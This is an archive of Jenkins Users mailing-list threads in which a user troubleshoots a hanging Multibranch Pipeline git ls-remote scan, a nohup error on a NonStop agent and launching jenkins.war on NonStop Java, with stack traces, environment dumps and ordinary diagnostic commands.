>>>> [Thu Nov 15 15:35:46 GMT 2018] Starting branch indexing...
>>>>  > /usr/bin/git --version # timeout=10
>>>> using GIT_SSH to set credentials Randall's Credentials
>>>>  > /usr/bin/git ls-remote --symref 
>>>> g...@bitbucket.org:X-my-private-url # timeout=10
>>>>
>>>> ERROR: [Thu Nov 15 15:40:45 GMT 2018] Could not update folder level 
>>>> actions from source b9692b8b-7465-43bf-b59c-0103ba223697
>>>> java.lang.InterruptedException
>>>>at java.lang.Object.wait(Native Method)
>>>>at java.lang.Object.wait(Object.java:502)
>>>>at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395)
>>>>at hudson.Proc$LocalProc.join(Proc.java:324)
>>>>at hudson.Proc.joinWithTimeout(Proc.java:170)
>>>>at 
>>>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2012)
>>>>at 
>>>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1735)
>>>>at 
>>>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1640)
>>>>at 
>>>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1631)
>>>>at 
>>>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.getRemoteSymbolicReferences(CliGitAPIImpl.java:2893)
>>>>at 
>>>> jenkins.plugins.git.AbstractGitSCMSource.retrieveActions(AbstractGitSCMSource.java:1093)
>>>>at jenkins.scm.a

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

The original post showed the entire list of refs. No issue requiring a 
timeout above 3 seconds actually. 10 minutes will make no difference. When 
run from Jenkins from a shell command, the result comes back in seconds. I 
don't think this is a performance issue. It is seeming to be a problem in 
the plugin.

On Thursday, November 15, 2018 at 11:07:20 AM UTC-5, Ivan Fernandez Calvo 
wrote:
>
> also, check the value of the TIMEOUT property, execute this code in the 
> Jenkins script console, the default value is 10 minutes, you can increase 
> it by setting the property in your command line
>
> System.getProperty(org.jenkinsci.plugins.gitclient.Git.class.getName() + 
> ".timeOut")
>
> If you have tons of tags on your repos try to not discover tags.
>
> El jueves, 15 de noviembre de 2018, 16:51:53 (UTC+1), Randall Becker 
> escribió:
>>
>> Hi All,
>>
>> I am trying to move over to Pipelines from Freestyle and am experiencing 
>> a hang during the initial scan for branches at ls-remote in the Multibranch 
>> Pipeline Scan. A few symptoms:
>>
>>
>>1. When using a freestyle project, with the same credentials and URL, 
>>there is no issue.
>>2. When using ls-remote from the command line with the same 
>>credentials and URL, there is no issue.
>>3. Git is available to Jenkins, but I tried providing a full path - 
>>no change.
>>4. The project is minimal with no actual actions defined yet.
>>5. I am on Jenkins 2.138.2 and the latest plugins. 
>>
>> On interrupt, here is the stack trace:
>>
>> [Thu Nov 15 15:35:46 GMT 2018] Starting branch indexing...
>>  > /usr/bin/git --version # timeout=10
>> using GIT_SSH to set credentials Randall's Credentials
>>  > /usr/bin/git ls-remote --symref 
>> g...@bitbucket.org:X-my-private-url # timeout=10
>>
>> ERROR: [Thu Nov 15 15:40:45 GMT 2018] Could not update folder level actions 
>> from source b9692b8b-7465-43bf-b59c-0103ba223697
>> java.lang.InterruptedException
>>  at java.lang.Object.wait(Native Method)
>>  at java.lang.Object.wait(Object.java:502)
>>  at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395)
>>  at hudson.Proc$LocalProc.join(Proc.java:324)
>>  at hudson.Proc.joinWithTimeout(Proc.java:170)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2012)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1735)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1640)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1631)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.getRemoteSymbolicReferences(CliGitAPIImpl.java:2893)
>>  at 
>> jenkins.plugins.git.AbstractGitSCMSource.retrieveActions(AbstractGitSCMSource.java:1093)
>>  at jenkins.scm.api.SCMSource.fetchActions(SCMSource.java:765)
>>  at 
>> jenkins.branch.MultiBranchProject.computeChildren(MultiBranchProject.java:590)
>>  at 
>> com.cloudbees.hudson.plugins.folder.computed.ComputedFolder.updateChildren(ComputedFolder.java:277)
>>  at 
>> com.cloudbees.hudson.plugins.folder.computed.FolderComputation.run(FolderComputation.java:165)
>>  at 
>> jenkins.branch.MultiBranchProject$BranchIndexing.run(MultiBranchProject.java:1024)
>>  at hudson.model.ResourceController.execute(ResourceController.java:97)
>>  at hudson.model.Executor.run(Executor.java:429)
>> [Thu Nov 15 15:40:45 GMT 2018] Finished branch indexing. Indexing took 4 min 
>> 59 sec
>> Aborted
>> Finished: ABORTED
>>
>> When running from the CLI:
>>
>> # GIT_SSH_COMMAND="ssh -i .ssh/id_rsa" /usr/bin/git ls-remote --symref 
>> g...@bitbucket.org:X-my-private-url
>>
>> Enter passphrase for key '.ssh/id_rsa':
>>
>> ref: refs/heads/master HEAD
>> 0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 HEAD
>> 3793b236a749f4a17f3e063b4a7581bcfb03b2a2 
>> refs/heads/Pipeline_Implementation
>> 0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/development
>> 0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/master
>> 0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/production
>> 96329f8a65c31728d1477a1ed36f3988b77cea08 refs/tags/v1.6.510
>> 7abe49dce26caddf0fa7e052a19983802f27fa77 refs/tags/v1.6.510^{}
>>  
>> No idea how to resolve this, since outside the plugin, connectivity is 
>> otherwise fine.
>>
>> TIA,
>> Randall
>>
>>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/28c82b76-6b89-4347-8190-71f8dceb349b%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

The interrupted exception resulted from my stopping the job instead of 
waiting 10 minutes for the timeout failure. I am not on a shared 
filesystem. Rather, this is inside a docker image running entirely on SSDs. 
Speed is way above 100Mbps. As I said, no issue when using a freestyle 
project and Jenkins is so fast on this machine (Antsle 8 core Avoton) that 
I don't even get a chance to get coffee anymore. The ls-remote using the 
git CLI outside of docker takes under 1sec, so that's not it.

On Thursday, November 15, 2018 at 11:00:22 AM UTC-5, Ivan Fernandez Calvo 
wrote:
>
> Are you using a shared network filesystem for your JENKINS_HOME? it seems 
> like takes too long to save data, I guess your filesystem is too slow, 
> check if your filesystem speed is lower than100MB/s, if so, it is too slow 
> and you have performance issues on Jenkins.
>
> ```
>
> java.lang.InterruptedException
>   at java.lang.Object.wait(Native Method)
>   at java.lang.Object.wait(Object.java:502)
>   at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395)
>
> ```
>
> El jueves, 15 de noviembre de 2018, 16:51:53 (UTC+1), Randall Becker 
> escribió:
>>
>> Hi All,
>>
>> I am trying to move over to Pipelines from Freestyle and am experiencing 
>> a hang during the initial scan for branches at ls-remote in the Multibranch 
>> Pipeline Scan. A few symptoms:
>>
>>
>>1. When using a freestyle project, with the same credentials and URL, 
>>there is no issue.
>>2. When using ls-remote from the command line with the same 
>>credentials and URL, there is no issue.
>>3. Git is available to Jenkins, but I tried providing a full path - 
>>no change.
>>4. The project is minimal with no actual actions defined yet.
>>5. I am on Jenkins 2.138.2 and the latest plugins. 
>>
>> On interrupt, here is the stack trace:
>>
>> [Thu Nov 15 15:35:46 GMT 2018] Starting branch indexing...
>>  > /usr/bin/git --version # timeout=10
>> using GIT_SSH to set credentials Randall's Credentials
>>  > /usr/bin/git ls-remote --symref 
>> g...@bitbucket.org:X-my-private-url # timeout=10
>>
>> ERROR: [Thu Nov 15 15:40:45 GMT 2018] Could not update folder level actions 
>> from source b9692b8b-7465-43bf-b59c-0103ba223697
>> java.lang.InterruptedException
>>  at java.lang.Object.wait(Native Method)
>>  at java.lang.Object.wait(Object.java:502)
>>  at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395)
>>  at hudson.Proc$LocalProc.join(Proc.java:324)
>>  at hudson.Proc.joinWithTimeout(Proc.java:170)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2012)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1735)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1640)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1631)
>>  at 
>> org.jenkinsci.plugins.gitclient.CliGitAPIImpl.getRemoteSymbolicReferences(CliGitAPIImpl.java:2893)
>>  at 
>> jenkins.plugins.git.AbstractGitSCMSource.retrieveActions(AbstractGitSCMSource.java:1093)
>>  at jenkins.scm.api.SCMSource.fetchActions(SCMSource.java:765)
>>  at 
>> jenkins.branch.MultiBranchProject.computeChildren(MultiBranchProject.java:590)
>>  at 
>> com.cloudbees.hudson.plugins.folder.computed.ComputedFolder.updateChildren(ComputedFolder.java:277)
>>  at 
>> com.cloudbees.hudson.plugins.folder.computed.FolderComputation.run(FolderComputation.java:165)
>>  at 
>> jenkins.branch.MultiBranchProject$BranchIndexing.run(MultiBranchProject.java:1024)
>>  at hudson.model.ResourceController.execute(ResourceController.java:97)
>>  at hudson.model.Executor.run(Executor.java:429)
>> [Thu Nov 15 15:40:45 GMT 2018] Finished branch indexing. Indexing took 4 min 
>> 59 sec
>> Aborted
>> Finished: ABORTED
>>
>> When running from the CLI:
>>
>> # GIT_SSH_COMMAND="ssh -i .ssh/id_rsa" /usr/bin/git ls-remote --symref 
>> g...@bitbucket.org:X-my-private-url
>>
>> Enter passphrase for key '.ssh/id_rsa':
>>
>> ref: refs/heads/master HEAD
>> 0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 HEAD
>> 3793b236a749f4a17f3e063b4a7581bcfb03b2a2 
>> refs/heads/Pipeline_Implementation
>> 0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/development
>> 0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/master
>> 0c3b

Multibranch Pipeline Scan Hangs

[Randall Becker]

Hi All,

I am trying to move over to Pipelines from Freestyle and am experiencing a 
hang during the initial scan for branches at ls-remote in the Multibranch 
Pipeline Scan. A few symptoms:


   1. When using a freestyle project, with the same credentials and URL, 
   there is no issue.
   2. When using ls-remote from the command line with the same credentials 
   and URL, there is no issue.
   3. Git is available to Jenkins, but I tried providing a full path - no 
   change.
   4. The project is minimal with no actual actions defined yet.
   5. I am on Jenkins 2.138.2 and the latest plugins. 
   
On interrupt, here is the stack trace:

[Thu Nov 15 15:35:46 GMT 2018] Starting branch indexing...
 > /usr/bin/git --version # timeout=10
using GIT_SSH to set credentials Randall's Credentials
 > /usr/bin/git ls-remote --symref 
 > g...@bitbucket.org:X-my-private-url # timeout=10

ERROR: [Thu Nov 15 15:40:45 GMT 2018] Could not update folder level actions 
from source b9692b8b-7465-43bf-b59c-0103ba223697
java.lang.InterruptedException
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395)
at hudson.Proc$LocalProc.join(Proc.java:324)
at hudson.Proc.joinWithTimeout(Proc.java:170)
at 
org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2012)
at 
org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1735)
at 
org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1640)
at 
org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:1631)
at 
org.jenkinsci.plugins.gitclient.CliGitAPIImpl.getRemoteSymbolicReferences(CliGitAPIImpl.java:2893)
at 
jenkins.plugins.git.AbstractGitSCMSource.retrieveActions(AbstractGitSCMSource.java:1093)
at jenkins.scm.api.SCMSource.fetchActions(SCMSource.java:765)
at 
jenkins.branch.MultiBranchProject.computeChildren(MultiBranchProject.java:590)
at 
com.cloudbees.hudson.plugins.folder.computed.ComputedFolder.updateChildren(ComputedFolder.java:277)
at 
com.cloudbees.hudson.plugins.folder.computed.FolderComputation.run(FolderComputation.java:165)
at 
jenkins.branch.MultiBranchProject$BranchIndexing.run(MultiBranchProject.java:1024)
at hudson.model.ResourceController.execute(ResourceController.java:97)
at hudson.model.Executor.run(Executor.java:429)
[Thu Nov 15 15:40:45 GMT 2018] Finished branch indexing. Indexing took 4 min 59 
sec
Aborted
Finished: ABORTED

When running from the CLI:

# GIT_SSH_COMMAND="ssh -i .ssh/id_rsa" /usr/bin/git ls-remote --symref 
g...@bitbucket.org:X-my-private-url

Enter passphrase for key '.ssh/id_rsa':

ref: refs/heads/master HEAD
0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 HEAD
3793b236a749f4a17f3e063b4a7581bcfb03b2a2 refs/heads/Pipeline_Implementation
0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/development
0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/master
0c3b1737c3f43cbc1fa149d220d244d7c89c35b5 refs/heads/production
96329f8a65c31728d1477a1ed36f3988b77cea08 refs/tags/v1.6.510
7abe49dce26caddf0fa7e052a19983802f27fa77 refs/tags/v1.6.510^{}
 
No idea how to resolve this, since outside the plugin, connectivity is 
otherwise fine.

TIA,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/674db529-2892-4b75-85ab-cd71d5e15894%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Alternate Plugin Update Sites

[Randall Becker]

Hi All,

Question for the group. I have a *private* Jenkins plugin, that I use 
internally and really would be of no interest to the community as a whole. 
I would, however, like to be able to deploy updates to Jenkins easily, but 
do not want to add the plugin to the common plugin site. Are there 
alternatives I can use for this?

Thanks,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/1842e5d4-cc55-4651-9181-dd6d1ded5e28%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Agent on Tandem/NonStop: sh pipeline command yields nohup error, while plain shell script build step works

[Randall Becker]

msg/%L/%N.cat
> JMETER_HOME=/usr/tandem/hpjmeter
> EDITOR=emacs
> HUDSON_COOKIE=4041f85e-d35e-4bad-906c-7d261e937d44
> CLASSPATH=/home/sa/mwatson/leiningen/leiningen-2.5.1-standalone.jar:/usr/tandem/javaexth11/lib/tdmext.jar:/usr/tandem/jdbcMx/current/lib/jdbcMx.jar:/usr/tandem/jdbcMp/current/lib/jdbcMp.jar:.
> PWD=/home/hp/meg/remote_jenkins/workspace/WhoAmI-TSEK
> JOB_DISPLAY_URL=http://bmc053.atc-hp.com:16977/job/WhoAmI-TSEK/display/redirect
> LOGNAME=meg
> BUILD_ID=50
> EXECUTOR_NUMBER=1
> BUILD_TAG=jenkins-WhoAmI-TSEK-50
> ICUROOT=/usr/tandem/xml/T0970H01/icu
> SSH2_PROCESS_NAME=$ZSS0
> JOB_NAME=WhoAmI-TSEK
> RUN_DISPLAY_URL=http://bmc053.atc-hp.com:16977/job/WhoAmI-TSEK/50/display/redirect
> PATH=.:/usr/local/maven/bin:/home/hp/meg/apache-jmeter-3.2/bin:/usr/coreutils/bin:.:/home/hp/meg/bin:/bin:/bin/unsupported:/usr/bin:/usr/ucb:/usr/coreutils/bin:/usr/local/bin:/home/hp/meg/usr/local/bin:/usr/tandem/java/bin:/usr/local:/usr/tandem/java/bin:/bin:/bin/unsupported:/usr/bin:/usr/ucb:/usr/tandem/nssoap/t0865l01_ABO//tools:/usr/local/bin
> RUN_CHANGES_DISPLAY_URL=http://bmc053.atc-hp.com:16977/job/WhoAmI-TSEK/50/display/redirect?page=changes
> OLDPWD=/home/hp/meg
> WORKSPACE=/home/hp/meg/remote_jenkins/workspace/WhoAmI-TSEK
> ENV=~/.bashrc
> JOB_URL=http://bmc053.atc-hp.com:16977/job/WhoAmI-TSEK/
> BUILD_NUMBER=50
> JAVA_HOME=/usr/tandem/java
> JENKINS_URL=http://bmc053.atc-hp.com:16977/
> ICU_DATA=/usr/tandem/xml/T0563H01/lib/icu/data/
> PS1=$PWD: 
> COLUMNS=132
> HUDSON_HOME=/var/lib/jenkins
> NODE_LABELS=MEG NONSTOP TSEK TSEK_MEG
> LINES=32
> BUILD_URL=http://bmc053.atc-hp.com:16977/job/WhoAmI-TSEK/50/
> _RLD_FIRST_LIB_PATH=/usr/tandem/hpjmeter/lib/oss:
> HOME=/home/hp/meg
> JDBCMX_DIR=/usr/tandem/jdbcMx
> XFILESEARCHPATH=/usr/dt/app-defaults/%L/Dt
> NODE_NAME=TSEK_MEG
> HUDSON_URL=http://bmc053.atc-hp.com:16977/
> SSH_ORIGINAL_COMMAND=cd "/home/hp/meg/remote_jenkins" && 
> /usr/tandem/java/bin/java -Xmx256m -Xms256m -XX:ThreadTimeSlice 
> -XX:NewRatio=1  -jar slave.jar
> + whoami
> meg
> + gtacl -c sysinfo
> gtacl[9]: warning: unable to propagate all environment variables
>
>
>
>
> SYSINFO - T9268H01 - (01 OCT 2014)  SYSTEM \TSEK  Date 25 Sep 2018, 12:46:25
> (C) Copyright 2014 Hewlett-Packard Development Company L.P.
>
>  System name\TSEK
>   EXPAND node number007
>Current SYSnnSYS06
>System number078754
>  Software release IDL18.02.00
>
> + nohup --help
> Usage: nohup COMMAND [ARG]...
>   or:  nohup OPTION
> Run COMMAND, ignoring hangup signals.
>
>   --help display this help and exit
>   --version  output version information and exit
>
> If standard input is a terminal, redirect it from an unreadable file.
> If standard output is a terminal, append output to 'nohup.out' if possible,
> '$HOME/nohup.out' otherwise.
> If standard error is a terminal, redirect it to standard output.
> To save output to FILE, use 'nohup COMMAND > FILE'.
>
> NOTE: your shell may have its own version of nohup, which usually supersedes
> the version described here.  Please refer to your shell's documentation
> for details about the options it supports.
>
> GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
> Report nohup translation bugs to <http://translationproject.org/team/>
> Full documentation at: <http://www.gnu.org/software/coreutils/nohup>
> or available locally via: info '(coreutils) nohup invocation'
> Finished: SUCCESS
>
>
> On Tuesday, September 25, 2018 at 2:12:32 PM UTC-4, Randall Becker wrote:
>>
>>
>> On Tuesday, September 25, 2018 at 1:37:54 PM UTC-4, Devin Nusbaum wrote:
>>>
>>> The `sh` step in a Jenkins Pipeline uses `nohup` to launch the script on 
>>> the agent in such a way that Jenkins can restart while the `sh` step is 
>>> running without interrupting the script’s execution.
>>>
>>> Is the `nohup` command available on NonStop/Tandem machines? If so, is 
>>> it reachable from the agent’s PATH? What is the result of `which nohup` on 
>>> the agent? (For me on OS X the result is /usr/bin/nohup, and /usr/bin is on 
>>> my PATH.)
>>>
>>> On Sep 25, 2018, at 11:36, Meg Watson  wrote:
>>>
>>> Hi,
>>>
>>> I'm a newbie to pipelines.  I have a Jenkins master running on Linux 
>>> (RHEL), and I have an agent running (via SSH) on a NonStop/Tandem machine, 
>>> which looks like UNIX for all intents and purposes.  I can run various jobs 
>>> on the NonStop agent without issue, build steps with shell commands work 
>>> fine.  
>>>
>>> Howev

Re: Error: Invalid or corrupt jarfile jenkins.war

[Randall Becker]

Sorry, should have read: 2.138 not 2.238.

On Friday, August 17, 2018 at 9:31:44 AM UTC-4, Randall Becker wrote:
>
> Hi Gustavo,
>
> I managed to get Jenkins 2.238 to run under NSSJava 1.8_80 using the 
> following command:
>
> java -cp ./jenkins.war Main
>
> This seems to bypass some limit restriction in the platform JVM.
>
> Cheers,
> Randall
>
> On Wednesday, July 25, 2018 at 8:04:04 AM UTC-4, Gustavo Martinez wrote:
>>
>>
>> Hello Meenal,
>>
>> I'm trying to install Jenkins on a NoNStop machine too. 
>>
>> Facing problems with SHA256 checksum: 
>>
>> INFO: Jetty shutdown successfully
>> java.lang.SecurityException: SHA-256 digest error for 
>> WEB-INF/detached-plugins/windows-slaves.hpi
>> at 
>> sun.security.util.ManifestEntryVerifier.verify(ManifestEntryVerifier.java:218)
>> at java.util.jar.JarVerifier.processEntry(JarVerifier.java:241)
>> at java.util.jar.JarVerifier.update(JarVerifier.java:228)
>> at java.util.jar.JarVerifier$VerifierStream.read(JarVerifier.java:482)
>> at java.io.InputStream.read(InputStream.java:101)
>> at winstone.HostConfiguration.getWebRoot(HostConfiguration.java:282)
>> at winstone.HostConfiguration.(HostConfiguration.java:81)
>> at winstone.HostGroup.initHost(HostGroup.java:66)
>> at winstone.HostGroup.(HostGroup.java:45)
>> at winstone.Launcher.(Launcher.java:145)
>> at winstone.Launcher.main(Launcher.java:354)
>> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
>> at 
>> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
>> at 
>> sun.reflect.DN01022elegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
>> at java.lang.reflect.Method.invoke(Method.java:498)
>> at Main._main(Main.java:312)
>> at Main.main(Main.java:136)
>>
>> Were you finally able to run it on NonStop?
>>
>> I have also downloaded the generic package from the jenkins site.
>>
>> Regards,
>> Gustavo.
>> El martes, 20 de marzo de 2018, 9:12:29 (UTC-3), Meenal escribió:
>>>
>>> Hello All,
>>>
>>> We are facing a following issue while we run the war file on nonstop 
>>> machine:
>>>
>>> java -jar jenkins.war
>>> Error: Invalid or corrupt jarfile jenkins.war
>>>
>>> if we run with a following work around then we see an exception.
>>> $JAVA_HOME/bin/java -cp ./jenkins.war Main
>>> Exception is:
>>>
>>> java.io.IOException: No suitable implementation found: os.name
>>> =NONSTOP_KERNEL
>>>
>>> os.arch=x86_64N sun.arch.data.model=32
>>>
>>> Generic java package was downloaded from - https://jenkins.io/download/
>>>
>>> Could you please help/suggest any solution for both issues.
>>>
>>>
>>> Regards,
>>> Minal
>>>
>>>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/d5e1bf8e-952b-438d-988b-a345add6f060%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Error: Invalid or corrupt jarfile jenkins.war

[Randall Becker]

Hi Gustavo,

I managed to get Jenkins 2.238 to run under NSSJava 1.8_80 using the 
following command:

java -cp ./jenkins.war Main

This seems to bypass some limit restriction in the platform JVM.

Cheers,
Randall

On Wednesday, July 25, 2018 at 8:04:04 AM UTC-4, Gustavo Martinez wrote:
>
>
> Hello Meenal,
>
> I'm trying to install Jenkins on a NoNStop machine too. 
>
> Facing problems with SHA256 checksum: 
>
> INFO: Jetty shutdown successfully
> java.lang.SecurityException: SHA-256 digest error for 
> WEB-INF/detached-plugins/windows-slaves.hpi
> at 
> sun.security.util.ManifestEntryVerifier.verify(ManifestEntryVerifier.java:218)
> at java.util.jar.JarVerifier.processEntry(JarVerifier.java:241)
> at java.util.jar.JarVerifier.update(JarVerifier.java:228)
> at java.util.jar.JarVerifier$VerifierStream.read(JarVerifier.java:482)
> at java.io.InputStream.read(InputStream.java:101)
> at winstone.HostConfiguration.getWebRoot(HostConfiguration.java:282)
> at winstone.HostConfiguration.(HostConfiguration.java:81)
> at winstone.HostGroup.initHost(HostGroup.java:66)
> at winstone.HostGroup.(HostGroup.java:45)
> at winstone.Launcher.(Launcher.java:145)
> at winstone.Launcher.main(Launcher.java:354)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at 
> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
> at 
> sun.reflect.DN01022elegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> at java.lang.reflect.Method.invoke(Method.java:498)
> at Main._main(Main.java:312)
> at Main.main(Main.java:136)
>
> Were you finally able to run it on NonStop?
>
> I have also downloaded the generic package from the jenkins site.
>
> Regards,
> Gustavo.
> El martes, 20 de marzo de 2018, 9:12:29 (UTC-3), Meenal escribió:
>>
>> Hello All,
>>
>> We are facing a following issue while we run the war file on nonstop 
>> machine:
>>
>> java -jar jenkins.war
>> Error: Invalid or corrupt jarfile jenkins.war
>>
>> if we run with a following work around then we see an exception.
>> $JAVA_HOME/bin/java -cp ./jenkins.war Main
>> Exception is:
>>
>> java.io.IOException: No suitable implementation found: os.name
>> =NONSTOP_KERNEL
>>
>> os.arch=x86_64N sun.arch.data.model=32
>>
>> Generic java package was downloaded from - https://jenkins.io/download/
>>
>> Could you please help/suggest any solution for both issues.
>>
>>
>> Regards,
>> Minal
>>
>>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/629848d4-2144-492e-b27a-56e394fd091f%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.